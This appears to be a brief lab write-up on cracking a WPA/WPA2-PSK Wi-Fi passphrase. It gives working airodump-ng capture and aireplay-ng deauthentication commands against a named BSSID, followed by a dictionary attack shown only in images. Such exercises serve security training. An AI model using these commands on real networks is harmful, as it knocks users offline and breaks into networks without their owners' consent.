# Cracking WPA/WPA2-PSK

**Objective:** Crack the WPA handshake for the network and get the network pre-shared passphrase!

Set interface into monitor mode

check for networks with airodump-ng

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FuR2S9OZodvM5l9zn3oDf%2Fimage.png?alt=media&#x26;token=ead90670-3970-4f90-a7f2-29ba474102cd" alt=""><figcaption></figcaption></figure>

Start the capture, but need the handshake

`airodump-ng wlan0 -c 6 -w test`

use aireplay to deauth the clients connecting to thee BSSID to capture the handshake

`aireplay-ng -0 100 -a A2:E9:68:D3:03:10 wlan0`

Now have the handshake, can perform a dictionary attack

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FG8yVCrMDlIC9xXksI2JG%2Fimage.png?alt=media&#x26;token=80ac01b8-5a31-4a26-82a6-38e572ac1986" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FPtqId6dlnDVPYCjCkw8g%2Fimage.png?alt=media&#x26;token=9e5145c6-5631-4b3e-a985-77ea898155fe" alt=""><figcaption></figcaption></figure>
